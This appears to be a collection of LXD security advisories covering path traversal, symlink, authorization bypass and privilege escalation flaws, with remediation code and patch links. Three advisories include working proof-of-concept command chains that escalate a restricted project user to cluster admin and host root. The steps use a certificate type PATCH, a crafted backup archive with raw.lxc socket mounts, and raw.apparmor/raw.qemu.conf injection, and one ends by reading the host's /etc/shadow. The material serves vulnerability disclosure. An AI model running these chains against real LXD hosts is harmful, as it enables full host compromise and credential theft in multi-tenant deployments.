A path traversal vulnerability in LXD allows an attacker to manipulate file system paths during backup import and restore operations. When importing or restoring a backup archive, LXD fails to validate instance and storage volume names contained within the archive metadata. An attacker can exploit this flaw by supplying a crafted backup archive with malicious instance or volume names containing path traversal sequences, potentially allowing file access or overwriting outside the designated restore directory.
A link following vulnerability in LXD allows an attacker to achieve arbitrary file read and write operations on the host system. When importing or unpacking an image archive, LXD fails to validate whether the metadata.yaml file is a symbolic link. An attacker can exploit this flaw by providing a crafted image archive with a symlinked metadata.yaml file pointing to target file paths on the host system.
A link following vulnerability in LXD allows an attacker to achieve root command execution on the host system. During the import or unpacking of crafted image or backup archives, LXD fails to properly validate and confine the backup.yaml file when it exists as a symbolic link. An attacker can exploit this flaw by providing a malicious archive with a symlinked backup.yaml file, causing LXD to process unconfined configuration metadata and execute arbitrary commands with root privileges.
An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project restrictions during instance migration. When migrating an instance to a target project, LXD accepts configuration overrides without validating the new configuration against the target project's enforced restrictions. An attacker can exploit this flaw to move instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.
An authorization bypass vulnerability in LXD due to a timing flaw during configuration merging allows an authenticated attacker to bypass target project restrictions during cross-project instance copies. When copying an instance to a target project, LXD performs restriction checks before configuration merging is complete, creating a time-of-check to time-of-use (TOCTOU) condition. An attacker can exploit this flaw to copy instances with disallowed high-privilege configurations into restricted projects, bypassing security controls.
An authorization bypass vulnerability in LXD allows an authenticated user to bypass project-level disk and volume limits. Two related code paths fail to verify resource limits during volume operations: the storagePoolVolumeTypePostMove function omits the limits.AllowVolumeCreation check before moving a volume across projects, and volume snapshot restore operations skip the AllowVolumeUpdate check when the configuration is nil (Config == nil). An attacker can exploit these flaws to allocate storage resources that exceed the administrative limits configured for a project.
An authorization bypass vulnerability in LXD allows an authenticated attacker to bypass target project security restrictions during cross-project instance migrations. When moving an instance cross-project to a different cluster member via POST /1.0/instances/{name} with migration: true, project: <target>, and target: <member>, the destination node skips all project restriction checks because the request arrives as an internal cluster notification. An attacker can exploit this to introduce disallowed instance configurations into a restricted project.
Broken Access Control in the devLXDInstancePatchHandler component of Canonical LXD allows an untrusted guest to mount, read, and overwrite another guest's custom storage volume via a crafted device PATCH request over /dev/lxd when security.devlxd.management.volumes is enabled.
Summary
A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.
Details
doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.
For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:
1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type. go // Ensure the user in not trying to change fields other than the certificate. if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) { return response.Forbidden(errors.New("Only the certificate can be changed")) }
2. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type. go // Reset dbCert in order to prevent possible future security issues. dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: reqDBType, }
This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.
PoC
Tested on lxd 6.7.
As admin, create restricted project and restricted certificate: bash Create restricted project lxc project create poc-restricted -c restricted=true lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted
Add client certificate lxc config trust add --restricted --projects poc-restricted --name poc-user pass token to user
As restricted user: bash Add token lxc remote add target <token>
Confirm we can only see the poc-restricted project lxc project list target:
Confirm we can't unrestrict the project lxc project set target:poc-restricted restricted=false
Get own certificate fingerprint fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')
Update the type of certificate to server lxc query -X PATCH -d '{ "type": "server" }' target:$fp or lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp
Confirm type is 'server' lxc config trust list target:
Set project to restricted=false lxc project set target:poc-restricted restricted=false
Start privileged container (and escape to root) lxc init ubuntu:24.04 target:privileged -c security.privileged=true lxc config device add target:privileged hostfs disk source=/ path=/mnt/host lxc start target:privileged
Impact
Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.
Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.
The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.
Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).
Suggested remediation
1. Add Type to the guard check at line 992:
go if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
2. Use the original type in the reset block at line 1008:
go origDBType, err := certificate.FromAPIType(dbInfo.Type) if err != nil { return response.InternalError(err) }
dbCert = dbCluster.Certificate{ Certificate: dbInfo.Certificate, Fingerprint: dbInfo.Fingerprint, Restricted: dbInfo.Restricted, Name: dbInfo.Name, Type: origDBType, }
Patches
| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |
Summary
LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement.
Details
LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.
The backup import path has two distinct configuration sources within a single tar archive:
1. backup/index.yaml - A quick-access metadata file read by backup.GetInfo() at backup/backupinfo.go:68. This is the config checked against project restrictions. 2. backup/container/backup.yaml - The full instance configuration extracted to the storage volume and used for actual instance creation at apiinternal.go:784.
The vulnerability exists because:
1. AllowInstanceCreation() at instancespost.go:885 validates project restrictions using only bInfo.Config from index.yaml.
2. The tar contents (including backup/container/backup.yaml) are extracted to the storage volume at genericvfs.go:952 via unpackVolume().
3. UpdateInstanceConfig() at backupconfigutils.go:236 reads backup.yaml from storage but only syncs Name, Project, pool info, and volume UUIDs - it does not overwrite Instance.Config or Instance.Devices.
4. internalImportFromBackup() at apiinternal.go:784 reads backup.yaml from the storage mount path (not index.yaml) to build the instance database record.
5. instance.CreateInternal() at apiinternal.go:946 creates the instance using the config from backup.yaml. CreateInternal calls ValidConfig which validates config key format only, not project restriction compliance.
Proof of Concept
Environment setup (server admin)
These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets.
bash Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true
Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project
Create a group with instance management permissions in the restricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project canview lxc auth group permission add poc-group project restricted-project cancreateinstances lxc auth group permission add poc-group project restricted-project canviewinstances lxc auth group permission add poc-group project restricted-project canoperateinstances
Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group
The attacker uses it to add the remote: lxc remote add target-lxd <token>
After this setup, the attacker can create normal unprivileged instances in restricted-project but should not be able to create privileged containers, use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions.
Steps
1. Create an instance backup archive locally
The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step.
shell Create the backup directory structure mkdir -p backup/container
Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/
Create backup index.yaml cat >backup/index.yaml <<EOF version: 2 name: escalated-instance backend: dir pool: default type: container optimized: false config: instance: name: escalated-instance architecture: x8664 type: container config: {} devices: {} expandedconfig: {} expandeddevices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default contenttype: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF
Create malicious backup/container/backup.yaml This is the file LXD actually uses to create the instance. It contains the restricted config and devices that should be blocked by the project. LXD never compares this file against index.yaml or re-validates it against project restrictions.
cat > backup/container/backup.yaml <<EOF instance: name: escalated-instance architecture: x8664 type: container config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" devices: {} expandedconfig: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" expandeddevices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default contenttype: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF
Package the archive tar -cf malicious-backup.tar backup/
2. Connect to the target LXD server and import the backup
Connect to the target LXD server and confirm restricted access:
bash Add the target server as a remote lxc remote add target-lxd <token>
Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project
Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true
Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project
Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project
Output contains: security.privileged: "true"
3. Escalate to full LXD admin
Start the container and use the LXD Unix socket, which was bind-mounted from the host via raw.lxc. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects.
bash lxc start target-lxd:escalated-instance --project restricted-project
Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects
From here the attacker has full control: create admin certs, access all projects, modify any instance, or mount the host filesystem.
Impact
The exploit allows full host compromise from within a restricted project. The requirement is that the user has canviewinstances, cancreateinstances and canoperateinstances on the project -- standard permissions for any tenant expected to manage instances.
Possible remediation
Add a second AllowInstanceCreation (or checkInstanceRestrictions) call after backup.yaml is read from storage and before CreateInternal is called. In apiinternal.go, between the ParseConfigYamlFile call (line 784) and the CreateInternal call (line 946):
go // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), }
return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) }
Patches
| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |
Summary
The isVMLowLevelOptionForbidden function in lxd/project/limits/permissions.go is missing raw.apparmor and raw.qemu.conf from its hardcoded forbidden list. A user with canedit permission on a VM instance in a restricted project can combine these two omissions to bridge the LXD unix socket into the guest VM and gain full cluster administrator access. This bypasses the restricted.virtual-machines.lowlevel=block project restriction, which is the security control specifically designed to prevent raw config injection.
Details
Affected code
The enforcement point for VM lowlevel restrictions is isVMLowLevelOptionForbidden at lxd/project/limits/permissions.go:924-926:
go func isVMLowLevelOptionForbidden(key string) bool { return slices.Contains([]string{"boot.hostshutdowntimeout", "limits.memory.hugepages", "raw.idmap", "raw.qemu"}, key) }
This list is missing two security-critical config keys:
- raw.apparmor -- allows injecting arbitrary AppArmor rules into the QEMU process confinement profile - raw.qemu.conf -- allows injecting arbitrary sections into the QEMU configuration file
The container equivalent (isContainerLowLevelOptionForbidden at line 916) correctly includes raw.apparmor in its forbidden list.
Attack mechanism
Both raw.apparmor and raw.qemu.conf are valid VM config keys (defined in lxd/instance/instancetype/instance.go). When a restricted user sets them on a VM in a project with restricted.virtual-machines.lowlevel=block, the entity config checker at line 779 calls isVMLowLevelOptionForbidden for each key, which returns false for both. The config is accepted without error.
On VM startup:
1. instanceProfile (lxd/apparmor/instance.go:150) reads raw.apparmor from the expanded config and injects it verbatim into the QEMU AppArmor profile template (lxd/apparmor/instanceqemu.go:114-118). An attacker-supplied rule like /var/snap/lxd/common/lxd/unix.socket rw, grants the QEMU process read-write access to the LXD unix socket.
2. qemuRawCfgOverride (lxd/instance/drivers/driverqemuconfigoverride.go:242) reads raw.qemu.conf and appends new sections to the generated QEMU config. The attacker adds a [chardev] section with backend = "socket" pointing at the LXD unix socket, and a [device] section creating a virtserialport connected to it.
3. QEMU starts with -readconfig containing the injected drive definition. The QEMU process connects to /var/snap/lxd/common/lxd/unix.socket (permitted by the injected AppArmor rule) and exposes the connection as /dev/virtio-ports/lxd.exploit inside the VM.
The exposed socket grants full administrative access to the entire LXD cluster, which can be used to create privileged containers, mount the host root filesystem, and escape to host root.
Affected deployments
Any LXD deployment where:
- A project has restricted=true and restricted.virtual-machines.lowlevel=block (the default when restricted=true) - A user has canedit on a VM instance in that project (also implied by project-level operator, caneditinstances, or instancemanager entitlements)
The minimum required entitlements are cancreateinstances (to create a VM), canedit on the instance (to set config keys -- lxc config set), canupdatestate (to start the VM), and canexec (to read the block device from inside the VM). Any of the broader project-level roles (operator, instancemanager) include all of these.
This includes the lxd-user multi-user daemon (shipped in the LXD snap), which auto-creates restricted projects for system users, and any multi-tenant, lab, CI/CD, or hosting deployment using restricted projects. These users are explicitly untrusted -- the restriction model exists to safely confine them. The LXD documentation states that restricted projects "prevent users from gaining root access" (doc/howto/projectsconfine.md).
Version
Tested and confirmed on LXD 6.7.
PoC
The exploit requires two roles: an admin who sets up the restricted environment (once), and a restricted user who exploits it.
Admin setup (run on the LXD host)
bash Create restricted project restricted.virtual-machines.lowlevel defaults to "block" when restricted=true lxc project create poc-restricted \ -c features.profiles=true \ -c features.images=false \ -c restricted=true
Create default profile with storage and network lxc profile create default --project poc-restricted lxc profile device add default root disk path=/ pool=default --project poc-restricted lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted
Create auth group with minimum entitlements needed for the exploit: canview - required to reference the project in other permissions cancreateinstances - create the VM caneditinstances - set config keys (implies canedit on all instances) canoperateinstances - start the VM and exec into it (implies canupdatestate + canexec) These are baseline permissions for any user who manages VMs in a project. None of these grant permission to edit the project configuration itself. lxc auth group create vm-operators lxc auth group permission add vm-operators project poc-restricted canview lxc auth group permission add vm-operators project poc-restricted cancreateinstances lxc auth group permission add vm-operators project poc-restricted caneditinstances lxc auth group permission add vm-operators project poc-restricted canoperateinstances
Create restricted user identity lxc auth identity create tls/alice --group vm-operators Give the output token to alice
Exploit (run as the restricted user "alice", from her own machine)
bash Alice adds the remote using the token from admin setup lxc remote add target <token>
REMOTE="target" PROJECT="poc-restricted" VM="poc-069" SOCKET="/var/snap/lxd/common/lxd/unix.socket"
Create a stopped VM lxc init ubuntu:22.04 ${REMOTE}:${VM} --vm --project ${PROJECT}
Inject AppArmor rule granting QEMU read-write access to the LXD unix socket. raw.apparmor is NOT in isVMLowLevelOptionForbidden -- bypasses restriction. lxc config set ${REMOTE}:${VM} raw.apparmor \ " ${SOCKET} rw," --project ${PROJECT}
Inject QEMU config: chardev connecting to unix socket, exposed as virtio-serial port. raw.qemu.conf is also NOT in isVMLowLevelOptionForbidden. lxc config set ${REMOTE}:${VM} raw.qemu.conf '[chardev "lxdsock"] backend = "socket" path = "/var/snap/lxd/common/lxd/unix.socket"
[device "lxdchan"] driver = "virtserialport" chardev = "lxdsock" bus = "dev-qemuserial.0" name = "lxd.exploit"' --project ${PROJECT}
Start VM -- QEMU connects to the unix socket at startup. lxc start ${REMOTE}:${VM} --project ${PROJECT} sleep 30
Elevate privileges to admin (add the "admin" entitlement to alice's group) lxc exec ${REMOTE}:${VM} --project ${PROJECT} -- bash -c ' apt install -y socat curl socat UNIX-LISTEN:/tmp/lxd.sock GOPEN:/dev/virtio-ports/lxd.exploit & sleep 1 curl --unix-socket /tmp/lxd.sock http://localhost/1.0/auth/groups/vm-operators \ -X PUT -H "Content-Type: application/json" \ -d "{\"description\":\"\",\"permissions\":[{\"entitytype\":\"server\",\"url\":\"/1.0\",\"entitlement\":\"admin\"}]}" '
Create privileged container and mount root filesystem lxc init ubuntu:22.04 ${REMOTE}:pwn-root --project default lxc config set ${REMOTE}:pwn-root security.privileged=true --project default lxc config device add ${REMOTE}:pwn-root hostroot disk \ source=/ path=/mnt/host --project default lxc start ${REMOTE}:pwn-root --project default
Full host root access lxc exec ${REMOTE}:pwn-root --project default -- cat /mnt/host/etc/shadow
Impact
Privilege escalation from restricted project user to host root.
The full attack chain is: restricted VM user --> raw.apparmor + raw.qemu.conf injection (bypasses restricted.virtual-machines.lowlevel=block) --> QEMU chardev bridges LXD unix socket into VM as virtio-serial device --> single HTTP request through chardev adds admin entitlement to attacker's own group --> attacker's existing CLI session is now full admin --> create privileged container with host root mount --> host root.
This affects any deployment using LXD's restricted project model for multi-tenant isolation. The attacker requires only canedit on a VM instance -- the baseline permission needed to manage VM configuration, which restricted projects are explicitly designed to safely grant to untrusted users such as students in shared labs, tenants in hosting environments, or CI/CD agents.
The exploit is trivial, requires no misconfiguration, works against correctly configured restricted projects with default settings, and has no race conditions or reliability concerns.
Remediation
Add raw.apparmor and raw.qemu.conf to the forbidden list in isVMLowLevelOptionForbidden:
go func isVMLowLevelOptionForbidden(key string) bool { return slices.Contains([]string{ "boot.hostshutdowntimeout", "limits.memory.hugepages", "raw.apparmor", "raw.idmap", "raw.qemu", "raw.qemu.conf", }, key) }
Patches
| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |